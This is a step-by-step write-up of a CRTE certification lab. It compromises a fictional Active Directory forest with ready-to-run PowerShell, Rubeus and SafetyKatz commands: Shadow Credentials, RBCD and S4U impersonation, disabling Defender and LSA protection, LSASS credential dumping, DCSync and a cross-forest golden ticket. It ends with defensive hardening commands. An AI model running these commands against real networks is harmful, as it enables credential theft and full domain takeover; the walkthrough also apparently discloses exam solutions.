Certified Red Team Expert (CRTE) โ Enterprise Forest Compromise
A comprehensive, end-to-end technical operational walkthrough detailing the full compromise of the TECHSYS.CORP enterprise domain from an unprivileged student identity (examuser), lateral pivoting through Tier-1 systems via Shadow Credentials and Resource-Based Constrained Delegation (RBCD), full domain compromise via DCSync, and cross-forest trust hopping into TECHPROD.CORP (Enterprise Admins) to extract the primary forest root flag.
REPLACE_* are dynamically generated per lab reset. Commands avoid brittle piping and enforce OPSEC hygiene.
Lab Architecture & Host Inventory
| Host Name | FQDN / Role | Primary Function & Vulnerability Vector |
|---|---|---|
EXAMVM |
EXAMVM.techsys.corp |
Student foothold machine. Vulnerable to leaked handle privilege escalation. |
SYS-DEV01 |
SYS-DEV01.techsys.corp |
Developer host. devuser account possesses weak ACLs (Shadow Credentials). |
SYS-ADM01 |
SYS-ADM01.techsys.corp |
Tier-1 Management Jumpbox. Targeted via RBCD and S4U impersonation. |
SYS-DC |
SYS-DC.techsys.corp |
Primary Domain Controller for child forest TECHSYS.CORP. |
PROD-DC |
PROD-DC.techprod.corp |
Root Domain Controller for forest TECHPROD.CORP. Final target. |
# Domain & DC Targets
$dc = 'SYS-DC.techsys.corp'
$domain = 'TECHSYS.CORP'
$tools = 'C:\Users\examuser\Desktop\shared\Tools'
# Tool paths
$loader = "$tools\Loader.exe"
$rubeus = "$tools\Rubeus.exe"
$powerview = "$tools\PowerView\.ps1"
$powermad = (Get-ChildItem $tools -Recurse -Force -File -Filter Powermad.ps1 -ErrorAction SilentlyContinue | Select-Object -First 1 -ExpandProperty FullName)
# Validate baseline tools
hostname; whoami; klist
Get-Item $loader, $rubeus, $powerview, $powermad
# Retrieve local domain SID
$domainSid = Get-DomainSID -Domain techsys.corp
Write-Host "[+] TECHSYS Domain SID: $domainSid" -ForegroundColor Green
Stage 1: Shadow Credentials Abuse on devuser
During initial enumeration using PowerView, we inspect discretionary access control lists (DACLs) granted to examuser. We identify that examuser holds explicit WriteProperty rights over the target object devuser for the attribute msDS-KeyCredentialLink.
. $powerview
$examSid = (Get-DomainUser examuser -Domain techsys.corp -Server $dc).objectsid
# Audit specific ACEs matching examuser's SID
Get-DomainObjectAcl -Identity devuser -Domain techsys.corp -Server $dc |
Where-Object { "$($_.SecurityIdentifier)" -eq "$examSid" } |
Format-List ObjectDN, ActiveDirectoryRights, ObjectAceType, ObjectAceFlags, IsInherited
# GUID 5b47d60f-6090-40b2-9f37-2a4de88f3063 corresponds to msDS-KeyCredentialLink
msDS-KeyCredentialLink, they can append a custom raw X.509 certificate public key into the target user's Active Directory object using Whisker. The KDC's PKINIT extension will then accept authentication signed by the corresponding private key without modifying the user's password or triggering password change alerts.
$whisker = "$tools\Whisker.exe"
$pfx = 'C:\Windows\Temp\devuser-shadow.pfx'
$pfxPass = 'Password123!'
# Inject Certificate via Whisker
& $whisker add /target:devuser /domain:techsys.corp /dc:$dc "/path:$pfx" "/password:$pfxPass"
if (-not (Test-Path $pfx)) { throw '[-] Whisker failed to generate PFX certificate!' }
# Request TGT with Rubeus via Loader
$devText = (& $loader -Path $rubeus -args asktgt /user:devuser "/certificate:$pfx" "/password:$pfxPass" /domain:$domain /dc:$dc /enctype:aes256 /opsec /force /nowrap 2>&1) | Out-String
$devB64 = ([regex]::Match($devText, '(?i)base64\(ticket\.kirbi\):\s*([A-Za-z0-9+/=]+)')).Groups[1].Value
if ($devB64.Length -lt 1000) { throw '[-] Failed to capture base64 TGT for devuser' }
# Request TGS for WinRM / HTTP on SYS-DEV01 and Pass-the-Ticket
klist purge
& $loader -Path $rubeus -args asktgs "/ticket:$devB64" /service:http/SYS-DEV01.techsys.corp /enctype:aes256 /dc:$dc /ptt
# Connect to SYS-DEV01 via WinRS
winrs -r:SYS-DEV01.techsys.corp powershell.exe
Stage 2: Elevation to SYSTEM on EXAMVM
To extract Kerberos tickets and manage credentials for lateral movement across Tier-1 systems, local administrative privileges on the workstation are required. We identify a vulnerable local background service named LeakedHandleService running with elevated privileges.
$lh = (Get-ChildItem $tools -Recurse -Force -File -Filter LeakedHandlesFinder.exe -ErrorAction SilentlyContinue | Select-Object -First 1 -ExpandProperty FullName)
Get-Service LeakedHandleService -ErrorAction SilentlyContinue
# Enumerate leaked handles and duplicate privileged token
& $lh
& $lh -a
# Inside the elevated SYSTEM prompt, establish persistence in local Administrators:
hostname; whoami
net localgroup Administrators TECHSYS\examuser /add
net localgroup Administrators
Stage 3: Extracting secureadmin TGT from Memory
With local administrator privileges on EXAMVM, we triage active Kerberos logon sessions. We locate an active high-privilege ticket belonging to TECHSYS\secureadmin, which possesses rights to configure Resource-Based Constrained Delegation (RBCD).
# Triage active Kerberos tickets in LSASS
& $loader -Path $rubeus -args triage /service:krbtgt
# Dump secureadmin ticket by LUID (replace 0xLUID with discovered session)
$secureLuid = '0x14a9c2' # Dynamically extract from triage output
$secureText = (& $loader -Path $rubeus -args dump "/luid:$secureLuid" /service:krbtgt /nowrap 2>&1) | Out-String
$secureB64 = ([regex]::Match($secureText, '(?i)base64encodedticket\s*:\s*([A-Za-z0-9+/=]+)')).Groups[1].Value
if ($secureB64.Length -lt 1000) { throw '[-] Failed to retrieve secureadmin TGT' }
# Save ticket to disk
$secureTgt = 'C:\Windows\Temp\secureadmin-current-tgt.kirbi'
[IO.File]::WriteAllBytes($secureTgt, [Convert]::FromBase64String($secureB64))
# Inspect ticket properties
& $loader -Path $rubeus -args describe "/ticket:$secureTgt"
Stage 4: Provisioning Controlled Machine Account (hackvm$)
To execute Resource-Based Constrained Delegation, the attacker requires control of a security principal that possesses a Service Principal Name (SPN). By leveraging the credentials of TECHSYS\diskmanager, we abuse ms-DS-MachineAccountQuota to register hackvm$.
. $powerview
. $powermad
$diskPassword = 'DiskManagerPassword123!'
$diskPass = ConvertTo-SecureString $diskPassword -AsPlainText -Force
$diskCred = [pscredential]::new('TECHSYS\diskmanager', $diskPass)
$hackPassword = 'CompMachinePassword2026!'
$hackPass = ConvertTo-SecureString $hackPassword -AsPlainText -Force
# Create controlled computer account
$hack = Get-DomainComputer hackvm -Domain techsys.corp -Server $dc -ErrorAction SilentlyContinue
if (-not $hack) {
New-MachineAccount -MachineAccount hackvm -Password $hackPass -Domain techsys.corp -DomainController $dc -Credential $diskCred -Verbose
}
# Verify registration and extract SID
$hack = Get-DomainComputer hackvm -Properties objectsid, distinguishedname -Domain techsys.corp -Server $dc
$hack | Format-List samaccountname, objectsid, distinguishedname
$hackSid = $hack.objectsid
Stage 5: Writing RBCD on Intermediate Host SYS-ADM01
We leverage the dumped secureadmin TGT to write the security descriptor of hackvm$ into the attribute msDS-AllowedToActOnBehalfOfOtherIdentity of the target jumpbox SYS-ADM01.
# Inject secureadmin TGT
klist purge
& $loader -Path $rubeus -args ptt "/ticket:$secureTgt"
# Construct raw security descriptor permitting hackvm$ full control
$sd = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$hackSid)"
$sdBytes = New-Object byte[] $sd.BinaryLength
$sd.GetBinaryForm($sdBytes, 0)
# Write descriptor to target computer SYS-ADM01
Set-DomainObject -Identity SYS-ADM01 -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity'=$sdBytes} -Domain techsys.corp -Server $dc -Verbose
# Read back and validate DACL
$rbcd = (Get-DomainComputer SYS-ADM01 -Properties 'msDS-AllowedToActOnBehalfOfOtherIdentity' -Domain techsys.corp -Server $dc).'msDS-AllowedToActOnBehalfOfOtherIdentity'
$d = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $rbcd, 0
$d.DiscretionaryAcl | Format-List SecurityIdentifier, AccessMask, AceType
# Validation: hackvm$ SID present with AccessMask 983551 (AccessAllowed)
Stage 6: S4U2Self & S4U2Proxy Impersonation
With RBCD configured, hackvm$ requests a service ticket to itself on behalf of systechadmin (S4U2Self), and exchanges it for a valid ticket to host/SYS-ADM01.techsys.corp (S4U2Proxy).
# Calculate AES256 hash for hackvm$
$hashText = (& $loader -Path $rubeus -args hash '/user:hackvm$' "/password:$hackPassword" /domain:$domain 2>&1) | Out-String
$hackAES = ([regex]::Match($hashText, '(?i)aes256_cts_hmac_sha1\s*:\s*([0-9A-F]{64})')).Groups[1].Value
if ($hackAES.Length -ne 64) { throw '[-] Invalid AES256 hash calculated' }
# Request TGT for machine account hackvm$
$tgtText = (& $loader -Path $rubeus -args asktgt '/user:hackvm$' "/aes256:$hackAES" /domain:$domain /dc:$dc /enctype:aes256 /opsec /force /nowrap 2>&1) | Out-String
$hackB64 = ([regex]::Match($tgtText, '(?i)base64\(ticket\.kirbi\):\s*([A-Za-z0-9+/=]+)')).Groups[1].Value
# S4U Execution Function
function Invoke-HackVmS4U([string]$User) {
klist purge
& $loader -Path $rubeus -args s4u "/ticket:$hackB64" "/impersonateuser:$User" /msdsspn:host/SYS-ADM01.techsys.corp /altservice:host,http,cifs,RPCSS /enctype:aes256 /dc:$dc /ptt
klist
}
# Impersonate systechadmin and connect via WinRS
Invoke-HackVmS4U systechadmin
winrs -r:SYS-ADM01.techsys.corp powershell.exe
Stage 7 & 8: Pre-staging Tools, Disabling RunAsPPL & Admin Impersonation
The S4U ticket grants local administrative access on SYS-ADM01, but does NOT grant domain-wide privileges because S4U tickets are restricted by forwardable flags. We copy our toolkit, disable Windows Defender, disable LSA protection (RunAsPPL), reboot the host, and impersonate configmanager to take complete control.
# Copy offensive tools across administrative share
$target = '\\SYS-ADM01.techsys.corp\C$\Windows\Temp'
$psexecSource = Get-ChildItem C:\Users, C:\Windows\Temp -Recurse -Force -File -Filter PsExec64.exe -ErrorAction SilentlyContinue | Select-Object -First 1 -ExpandProperty FullName
Copy-Item "$tools\Loader.exe" "$target\Loader.exe" -Force
Copy-Item "$tools\Rubeus.exe" "$target\Rubeus.exe" -Force
Copy-Item "$tools\SafetyKatz.exe" "$target\SafetyKatz.exe" -Force
Copy-Item $psexecSource "$target\PsExec64.exe" -Force
# Execute on SYS-ADM01 via WinRS:
Set-MpPreference -DisableRealtimeMonitoring $true
Set-MpPreference -DisableBehaviorMonitoring $true
Add-MpPreference -ExclusionPath 'C:\Windows\Temp'
# Disable Credential Guard / RunAsPPL via Registry
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v LsaCfgFlags /t REG_DWORD /d 0 /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\DeviceGuard" /v LsaCfgFlags /t REG_DWORD /d 0 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 0 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPLBoot /t REG_DWORD /d 0 /f
# Reboot to apply LSA policy
shutdown.exe /r /t 0
SYS-ADM01, re-generate $hackB64 from EXAMVM and execute Invoke-HackVmS4U configmanager to re-establish your elevated WinRS session.
Stage 9: Harvesting Genuine systechadmin TGT from LSASS
Now running on SYS-ADM01 with PPL disabled, we use SafetyKatz to dump memory secrets. We extract the genuine Kerberos TGT and keys for TECHSYS\systechadmin.
# Execute SafetyKatz to dump credentials & Kerberos tickets
& C:\Windows\Temp\SafetyKatz.exe `
'privilege::debug' `
'token::elevate' `
'sekurlsa::logonpasswords' `
'sekurlsa::ekeys' `
'sekurlsa::tickets /export' `
'exit' 2>&1 | Tee-Object C:\Windows\Temp\systechadmin-credentials.txt
# Extract systechadmin TGT with Rubeus
$loader = 'C:\Windows\Temp\Loader.exe'
$rubeus = 'C:\Windows\Temp\Rubeus.exe'
& $loader -Path $rubeus -args triage /service:krbtgt
$systechLuid = '0xREPLACE_WITH_SYSTECH_LUID'
$dumpText = (& $loader -Path $rubeus -args dump "/luid:$systechLuid" /service:krbtgt /nowrap 2>&1) | Out-String
$systechB64 = ([regex]::Match($dumpText, '(?i)base64encodedticket\s*:\s*([A-Za-z0-9+/=]+)')).Groups[1].Value
if ($systechB64.Length -lt 1000) { throw '[-] Failed to retrieve genuine systechadmin TGT' }
$systechTgt = 'C:\Windows\Temp\systechadmin-tgt.kirbi'
[IO.File]::WriteAllBytes($systechTgt, [Convert]::FromBase64String($systechB64))
# Spawn clean netonly process and inject genuine TGT
& $loader -Path $rubeus -args createnetonly /program:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe /show
# Inside the new console, inject ticket:
C:\Windows\Temp\Loader.exe -Path C:\Windows\Temp\Rubeus.exe -args ptt /ticket:C:\Windows\Temp\systechadmin-tgt.kirbi
klist get cifs/SYS-DC.techsys.corp
klist get host/SYS-DC.techsys.corp
Stage 10 & 11: SYS-DC Compromise & Domain DCSync
BloodHound enumeration confirmed that systechadmin belongs to the AdminTo group on SYS-DC.techsys.corp. With our injected genuine TGT, we deploy PsExec64 to gain an interactive NT AUTHORITY\SYSTEM shell on the Domain Controller and execute DCSync to extract the krbtgt AES256 key.
# Verify SMB access to SYS-DC
cmd.exe /c dir \\SYS-DC.techsys.corp\C$
# Stage SafetyKatz on the Domain Controller
Copy-Item C:\Windows\Temp\SafetyKatz.exe \\SYS-DC.techsys.corp\C$\Windows\Temp\SafetyKatz.exe -Force
# Launch remote SYSTEM process on SYS-DC
& C:\Windows\Temp\PsExec64.exe \\SYS-DC.techsys.corp -accepteula -s powershell.exe
# On SYS-DC: Verify identity and execute DCSync
hostname; whoami # SYS-DC and NT AUTHORITY\SYSTEM
C:\Windows\Temp\SafetyKatz.exe `
"privilege::debug" `
"token::elevate" `
"lsadump::dcsync /domain:techsys.corp /user:TECHSYS\krbtgt" `
"exit" 2>&1 | Tee-Object C:\Windows\Temp\techsys-krbtgt-dcsync.txt
Stage 12: Cross-Forest Trust Abuse (TECHSYS โ TECHPROD)
With the TECHSYS\krbtgt AES256 hash in hand, we inspect the forest trust relationship between techsys.corp and techprod.corp. Finding a bidirectional forest trust without SID filtering enabled, we forge an Inter-Realm Golden Ticket with an Extra SID targeting the Enterprise Admins group of techprod.corp (RID 519).
ExtraSids field. By appending <TECHPROD_SID>-519, the receiving Domain Controller treats the bearer as a member of Enterprise Admins.
. C:\Users\examuser\Desktop\shared\Tools\PowerView\.ps1
# Enumerate domain SIDs
$techsysSid = Get-DomainSID -Domain techsys.corp
$techprodSid = Get-DomainSID -Domain techprod.corp
$techprodEaSid = "$techprodSid-519"
Write-Host "[+] TECHSYS SID: $techsysSid"
Write-Host "[+] TECHPROD SID: $techprodSid"
Write-Host "[+] TECHPROD Enterprise Admins SID: $techprodEaSid"
# Enumerate trust attributes
Get-DomainTrust -Domain techsys.corp | Format-List SourceName, TargetName, TrustType, TrustAttributes, TrustDirection
# Forge Inter-Realm Golden Ticket
$krbtgtAes = 'REPLACE_WITH_TECHSYS_KRBTGT_AES256'
klist purge
& $loader -Path $rubeus -args golden `
/user:Administrator `
/domain:techsys.corp `
"/sid:$techsysSid" `
"/aes256:$krbtgtAes" `
"/sids:$techprodEaSid" `
/nowrap `
/ptt
# Verify ticket capability against TECHPROD DC
klist
klist get cifs/PROD-DC.techprod.corp
klist get host/PROD-DC.techprod.corp
Stage 13: Final Compromise of PROD-DC
Armed with the injected Enterprise Admins ticket, we connect directly to the root Domain Controller PROD-DC.techprod.corp via WinRS or PsExec64 and extract the final certification flag.
# Option A: WinRS Remote Execution
winrs -r:PROD-DC.techprod.corp powershell.exe
# Option B: PsExec64 via SMB
# C:\Windows\Temp\PsExec64.exe \\PROD-DC.techprod.corp -accepteula -s powershell.exe
# Within PROD-DC console:
hostname
whoami
whoami /groups
Get-Content C:\Users\prodadmin\Desktop\finalflag.txt
Enterprise Remediation & Defensive Hardening Guide
Engineering-grade remediation configurations to eliminate the architectural attack paths abused in the CRTE campaign.
# Enable SID Filtering (Quarantine) on the incoming trust
netdom trust TECHSYS.CORP /Domain:TECHPROD.CORP /FilterSIDs:Yes
# Verify trust attributes show SID filtering active
Get-ADTrust -Identity TECHSYS.CORP | Select-Object Name, SIDFilteringQuarantined, DisallowTransivity
# Set MachineAccountQuota to 0 across the domain
Set-ADDomain -Identity (Get-ADDomain).DistinguishedName -Replace @{'ms-DS-MachineAccountQuota'=0}
# Audit and clear rogue RBCD entries on servers
Get-ADComputer -Filter * -Properties msDS-AllowedToActOnBehalfOfOtherIdentity |
Where-Object { $_.'msDS-AllowedToActOnBehalfOfOtherIdentity' -ne $null } |
ForEach-Object {
Write-Warning "Clearing RBCD on computer: $($_.Name)"
Set-ADComputer -Identity $_.DistinguishedName -Clear 'msDS-AllowedToActOnBehalfOfOtherIdentity'
}
# Enforce RunAsPPL with UEFI lock
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 1 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPLBoot /t REG_DWORD /d 1 /f
# Enable Credential Guard in Group Policy:
# Computer Configuration -> Administrative Templates -> System -> Device Guard
# Turn On Virtualization Based Security -> Select Credential Guard Configuration: Enabled with UEFI lock
# Enumerate accounts configured with Shadow Credentials
Get-ADUser -Filter * -Properties 'msDS-KeyCredentialLink' |
Where-Object { $_.'msDS-KeyCredentialLink' -ne $null } |
Select-Object SamAccountName, DistinguishedName
# Remove unauthorized Key Credentials
# Set-ADUser -Identity devuser -Clear 'msDS-KeyCredentialLink'
# Enable 'Account is sensitive and cannot be delegated' on key accounts
$sensitiveAccounts = @('systechadmin', 'secureadmin', 'Administrator')
foreach ($user in $sensitiveAccounts) {
Set-ADAccountControl -Identity $user -CannotDelegate $true
Write-Host "[+] Delegation disabled for $user" -ForegroundColor Green
}